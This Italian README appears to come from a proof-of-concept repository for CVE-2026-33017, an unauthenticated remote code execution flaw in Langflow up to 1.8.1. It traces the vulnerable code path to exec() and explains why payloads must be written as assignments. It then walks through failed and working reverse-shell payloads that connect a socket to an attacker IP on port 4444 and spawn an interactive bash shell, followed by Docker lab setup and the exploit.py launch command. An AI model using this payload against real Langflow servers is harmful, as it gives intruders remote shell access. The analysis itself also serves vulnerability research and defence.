
PoC exploit per una RCE non autenticata in Langflow <=1.8.1, che include analisi della causa principale a livello di sorgente, payload di reverse shell basato su AST, lab Docker, diff della patch e regole di rilevamento.
Disclaimer
Questo repository è stato creato a scopo di ricerca e formazione sulla sicurezza.
Utilizzarlo esclusivamente in ambienti di laboratorio isolati.
L'uso su sistemi non autorizzati costituisce una violazione della legge sulle reti di comunicazione e informazione ed è passibile di sanzioni penali.
| Voce | Dettaglio |
|---|---|
| CVE ID | CVE-2026-33017 |
| Software vulnerabile | Langflow (costruttore di workflow AI) |
| Versioni interessate | Langflow ≤ 1.8.1 |
| Versione con patch | Langflow ≥ 1.9.0 |
| Tipo di vulnerabilità | Esecuzione remota di codice (RCE) non autenticata |
| CWE | CWE-306 (Missing Authentication for Critical Function) |
| CVSS | 9.3 (Critical) |
| CISA KEV | Inclusa |
POST /api/v1/build_public_tmp/{flow_id}/flow
È un endpoint destinato alla creazione di flussi pubblici, progettato per essere accessibile senza autenticazione.
Percorso di esecuzione verificato tracciando direttamente il codice sorgente:
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
│
▼
langflow/api/v1/chat.py — build_public_tmp()
data = request.body["data"] ← riceve l'input del cliente così com'è (vulnerabilità)
│
▼
langflow/api/build.py — start_flow_build()
data = FlowDataRequest ← inoltra i dati del cliente così come sono
│
▼
lfx/custom/eval.py — eval_custom_component_code()
class_name = validate.extract_class_name(code)
return validate.create_class(code, class_name)
│
▼
lfx/custom/validate.py — create_class()
module = ast.parse(code)
exec_globals = prepare_global_scope(module)
│
▼
lfx/custom/validate.py — prepare_global_scope()
exec(compiled_code, exec_globals) ← esecuzione di codice arbitrario
La funzione prepare_global_scope() non esegue tutte le istruzioni del codice inviato.
Dopo il parsing AST, seleziona ed esegue solo tipi di nodo specifici:
# lfx/custom/validate.py — interno di prepare_global_scope()
for node in module.body:
if isinstance(node, ast.Import):
imports.append(node)
elif isinstance(node, ast.ImportFrom):
import_froms.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
# ↑ Il nodo Expr non è incluso in nessun ramo → non viene eseguito
exec(compiled_code, exec_globals) # vengono eseguite solo definitions
Tipi di nodo AST eseguibili:
| Tipo di nodo AST | Esempio | Esecuzione |
|---|---|---|
FunctionDef | def _shell(): ... | ✅ Eseguito |
ClassDef | class ExploitComponent(Component) | ✅ Eseguito |
Assign | _r = os.system("id") | ✅ Eseguito |
AnnAssign | _r: int = os.system("id") | ✅ Eseguito |
Expr | os.system("id") (chiamata singola) | ❌ Ignorato |
Conclusione: il payload deve essere obbligatoriamente scritto nella forma
Assign(_r = ...) per essere eseguito.
Una semplice chiamata di funzione (os.system("id")) viene classificata come nodoExpre filtrata.
Durante l'esercitazione sono stati provati diversi approcci di payload e per ciascun fallimento la causa è stata individuata a livello di sorgente.
subprocess.Popen + wait() (fallito)_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait() # ← bloccante qui
Causa del fallimento: il thread worker di Langflow, monitorando il valore di ritorno del componente, chiude forzatamente la socket al timeout. Il blocco di _proc.wait() diventa inutile.
os.execve() (fallito)os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())
Causa del fallimento: secondo le regole POSIX, in un processo multithread la chiamata a execve() termina tutti i thread tranne quello chiamante → crash dell'intero worker uvicorn → HTTP 500.
os.fork() + execve() (fallito)_pid = os.fork()
if _pid == 0:
os.execve("/bin/bash", ...)
Causa del fallimento: uvicorn rileva la terminazione anomala del processo figlio e riavvia il worker → HTTP 500.
threading.Thread(daemon=True) (fallito)threading.Thread(target=_shell, daemon=True).start()
Causa del fallimento: un thread con daemon=True viene distrutto insieme al thread principale (worker Langflow) quando termina. Il thread muore prima del tentativo di connect().
threading.Thread(daemon=False) + Assign# FunctionDef → eseguito
def _shell():
_s = socket.socket()
_s.connect(("attacker_ip", 4444))
_p = subprocess.Popen(["/bin/bash", "-i"],
stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
_p.wait()
_s.close()
# Assign → eseguito (le chiamate Expr isolate sono escluse dal filtro, quindi è obbligatoria l'assegnazione a una variabile)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()
Motivo della scelta di daemon=False:
daemon=True → viene distrutto insieme al thread worker di Langflow al terminedaemon=False → ciclo di vita indipendente dal worker → consente di mantenere attiva la connessione della socketCVE-2026-33017/
├── README.md
├── Dockerfile # Ambiente Langflow 1.8.1 vulnerabile
├── Dockerfile.attacker # Contenitore dell'attaccante (include curl, nc, net-tools)
├── docker-compose.yml # Server vulnerabile + contenitore dell'attaccante
├── entrypoint.sh # Avvio di Langflow e creazione automatica del flusso pubblico
├── exploit.py # PoC di reverse shell
└── poc.py # Blind RCE / verifica dell'esistenza della vulnerabilità
# 1. Creazione e avvio dei contenitori
docker compose up --build
# 2. Verifica dell'accesso alla Web UI di Langflow
# http://localhost:7860
# admin / admin123!
# 3. Verifica degli IP dei contenitori
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'
┌──────────────────────────────────────────────────┐
│ Docker Bridge Network: poc-net │
│ │
│ langflow-vuln-lab 172.19.0.2:7860 (vittima) │
│ langflow-attacker 172.19.0.3 (attaccante) │
└──────────────────────────────────────────────────┘
Eseguire all'interno del contenitore dell'attaccante:
docker exec -it langflow-attacker bash
# Modalità automatica (emissione token + creazione flusso pubblico + listener integrato)
python3 exploit.py \
--url http://172.19.0.2:7860 \
--lhost 172.19.0.3 \
--lport 4444
Opzioni: